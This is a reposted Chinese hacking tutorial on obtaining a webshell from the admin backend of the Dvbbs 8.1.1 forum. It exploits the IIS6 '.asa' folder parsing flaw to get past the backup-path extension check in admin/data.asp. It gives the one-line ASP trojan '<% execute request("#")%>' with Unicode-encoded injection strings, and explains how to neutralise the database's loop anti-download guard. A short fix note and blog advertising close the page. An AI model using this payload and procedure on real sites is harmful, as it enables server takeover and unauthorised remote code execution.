動網8.1.1版后臺獲取webshell(轉載)
[重要通告]如您遇疑難雜癥,本站支持知識付費業務,掃右邊二維碼加博主微信,可節省您寶貴時間哦!
動網8.1.1版后臺獲取webshell
來源:紅狼
文章已發表于《黑客手冊》0802期
圖/文
Cool_wXd
動網論壇可以說的國內ASP論壇界的老大了,在原來的很多版本中,都出現了不同的漏洞,而且獲取webshell也是挺容易的,但是到了8.1.1版本的時候,獲取webshell變得異常的艱難,前一段時間爆出了可以在boke中添加上傳PHP的類型,這個在服務器可以解析PHP的條件下是可以的!在 8.0版本是數據庫的路徑是可以修改的,那個時候可以通過上傳修改成txt格式的數據庫文件和木馬文件的捆綁!但是到了8.1.1版本以后,數據庫是不允許修改的了,今天下午在紅狼的論壇里看到有朋友在研究后臺獲取webshell的方法,于是我也研究了一下,也就得出了今天這個方法!
首先,怎么獲取后臺管理員賬號和密碼這里我們就不提了,我們直接進入后臺,在備份數據庫和恢復數據庫中,我們看到數據庫的路徑已經修改不了了,如圖
我們來看看源碼,在admin/data.asp中已經 而且數據庫路經設置是:Dbpath="../"&db,已經是直接從conn.asp的配置文件中獲取了用戶所設置的路徑,所以我們改這個是不可能的了,那么我們就想起了win2003下,iis6的缺陷也就是.asp的文件夾會按照ASP文件方式被執行,所以我們將目錄修改成.. /Databackup.asp
但是返回的結果卻是保存數據庫名不合法,必須是有效的MDB文件和文件夾目錄!我們還是看源碼,還是在admin/data.asp中,行621開始的updata函數:
sub updata()
'On error resume next
Dim FileConnStr,Fileconn
Dim Tempbackpath
Dbpath="../"&db
‘獲取數據庫路徑
'Dbpath=Replace(request.Form("Dbpath"),chr(0),"")
Dbpath=Server.mappath(Dbpath)
bkfolder=Replace(request.Form("bkfolder"),chr(0),"")
‘備份的目錄
bkdbname=Replace(request.Form("bkdbname"),chr(0),"")
‘備份的名稱
Tempbackpath = bkfolder& "/"& bkdbname
‘將目錄和名稱兩個字符串連接
Rem Add By Dv.唧唧.Net 2007-10-15
If InStr(Lcase(Tempbackpath),".asp")>0 or InStr(Lcase(Tempbackpath),".aspx")>0 or InStr(Lcase(Tempbackpath),".php")>0 Then
‘判斷字符串
response.write "保存數據庫名不合法,必須是有效的MDB文件和文件夾目錄!"
Response.End
Exit Sub
End If
If Lcase(Mid(Tempbackpath,instrRev(Tempbackpath,".")+1))<>"mdb" Then
response.write "保存數據庫名不合法,必須是有效的MDB文件!"
Response.End
Exit Sub
End If
‘判斷后綴為mdb
我們看到在判斷備份目錄和備份文件名稱時,對字符串中的ASP,ASPX,PHP都做了限制,不過我們知道,ASP和ASA用的都是一個解析器,在理論上創建.asa文件夾也應該是可以被執行的,好,按照這個思路我們試著備份一下,將將目錄修改成../Databackup.asa,并選備份,返回的是備份數據庫成功,您備份的數據庫路徑為../Databackup.asa/databack200712311207_65542.mdb,如圖
份通過,所以此時我們的任務就是尋找論壇可以利用的地方,將我們的一句話木馬插入到數據庫中,然后備份。不過還有一個前提就是IIS版本要求為IIS6 的,由于我的機器是XP系統,安裝的是IIS5.1的,我就在網上找了一個2003的,首先我們確定IIS版本,在服務器信息探測中顯示如圖
版本確定以后我們就尋找可以插入木馬的地方吧,但是說到插馬,我們的問題也就又出現了,因為在數據庫中DV_notdownload段中的notdown 內容為3C25206C6F6F70203C25,也就是ASP語句中的<% loop <%,我們要想讓我們的ASP木馬能夠正常執行,首先一個前提就是閉合<% loop <%,關于這個技術,我們參照邪惡八進制中平安年間的文章《如何突破數據庫Loop防下載實例》(地址:https://forum.eviloctal.co...,這篇文章也發表于< <黑客手冊>>2007年第六期,文章版權屬于黑客手冊。),這里我們再多說一遍原理,為了閉合<% loop <%,我們要在數據庫中尋找合適的位置插入"<%'"和":%>"來構造出<%'<% loop <%:%>的結構,以此將loop的防下載給過濾掉。但是在我測試過程中發現,由于數據庫的所包含數據量的不同,在備份出來的數據庫中不能形成固定的插入位置把loop防下載過濾掉,但是當我們把數據庫下載回來并保存為ASP格式以后,可以通過winhex等16進制編輯器來確定<% loop <%所在的位置,并查找出<% loop <%前后的數據內容,按照順序來進行"<%'"和":%>"的插入,
并把一句話木馬插在注釋語句的前面,這樣我們的一句話木馬才算是插入成功的。在我現在檢測的網站上,經過多次的測試,終于得到了想要的效果,大家看我演示就好了。這里找好了一個地方,就是個性圈子管理中(其實其他地方也是可以的,我也是慢慢試出來的,這里我用這個地方演示),然后按照如圖方式添加一個圈子,在圈子名稱處,寫入:┼攠數畣整爠煥敵瑳∨∣┩愾┼砧(“┼攠數畣整爠煥敵瑳∨∣┩愾┼砧”就是<% execute request("#")%>a<%'x”轉換成Unicode字符以后的結果。) 然后再模板管理處中的添加/編輯自定義標簽,我們對login標簽進行修改: 在模板_主體標記部分前面添加┠礫(“┠礫”就是%>x轉換成Unicode字符以后的結果。),這樣我們不僅將<% loop <%注釋掉了,同時也將我們一句話木馬寫入了注釋的前面,接下來就是笨份數據庫,生成以.asa為文件夾的數據庫路徑了,這里就不截圖了,我們直接運行這個文件,如圖所示 沒有出現%>不閉合的現象,同時也證明了我們的一句話木馬正確地插入了!接下來就是一句話木馬連接了
不過這種插入數據庫的方法不見得在每一個論壇上都是通用的,朋友們需要通過對數據庫前后內容進行分析才可以進行插馬的,不過這個方法在獲取 webshell 上確實是成立的,希望朋友們能好好測試一下。我想這篇文章寫到這里已經算是結束了,但是在利用上也是利用了IIS6的缺陷和動網在生成目錄上過濾不嚴格導致的!至于這個漏洞的修復,只需將
If InStr(Lcase(Tempbackpath),".asp")>0 or InStr(Lcase(Tempbackpath),".aspx")>0 or InStr(Lcase(Tempbackpath),".php")>0 Then
中繼續添加其他的由于IIS6缺陷所造成的執行錯誤!好的,文章就寫到這里了,如果大家有什么疑問可以和我聯系,我的QQ:15872896.
問題未解決?付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信
所寫所說,是心之所感,思之所悟,行之所得;文當無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!